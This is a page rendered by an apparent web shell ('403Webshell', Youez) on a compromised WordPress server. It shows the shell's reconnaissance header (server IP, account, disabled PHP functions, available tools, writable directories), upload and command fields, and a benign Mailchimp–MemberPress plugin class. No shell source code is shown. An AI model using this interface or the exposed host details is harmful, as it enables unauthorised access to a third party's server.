403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/mailchimp-for-wp/integrations/memberpress/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/mailchimp-for-wp/integrations/memberpress/class-memberpress.php
<?php

defined('ABSPATH') or exit;

/**
 * Class MC4WP_MemberPress_Integration
 *
 * @ignore
 */
class MC4WP_MemberPress_Integration extends MC4WP_Integration
{
    /**
     * @var string
     */
    public $name = 'MemberPress';

    /**
     * @var string
     */
    public $description = 'Subscribes people from MemberPress register forms.';


    /**
     * Add hooks
     */
    public function add_hooks()
    {
        if (! $this->options['implicit']) {
            if (has_action('mepr_checkout_before_submit')) {
                add_action('mepr_checkout_before_submit', [ $this, 'output_checkbox' ]);
            } else {
                add_action('mepr-checkout-before-submit', [ $this, 'output_checkbox' ]);
            }
        }
        if (has_action('mepr_signup')) {
            add_action('mepr_signup', [ $this, 'subscribe_from_memberpress' ], 5);
        } else {
            add_action('mepr-signup', [ $this, 'subscribe_from_memberpress' ], 5);
        }
    }



    /**
     * Subscribe from MemberPress sign-up forms.
     *
     * @param MeprTransaction $txn
     * @return bool
     */
    public function subscribe_from_memberpress($txn)
    {

        // Is this integration triggered? (checkbox checked or implicit)
        if (! $this->triggered()) {
            return false;
        }

        $user = get_userdata($txn->user_id);

        $data = [
            'EMAIL' => $user->user_email,
            'FNAME' => $user->first_name,
            'LNAME' => $user->last_name,
        ];

        // subscribe using email and name
        return $this->subscribe($data, $txn->id);
    }

    /**
     * @return bool
     */
    public function is_installed()
    {
        return defined('MEPR_VERSION');
    }
}

Youez - 2016 - github.com/yon3zu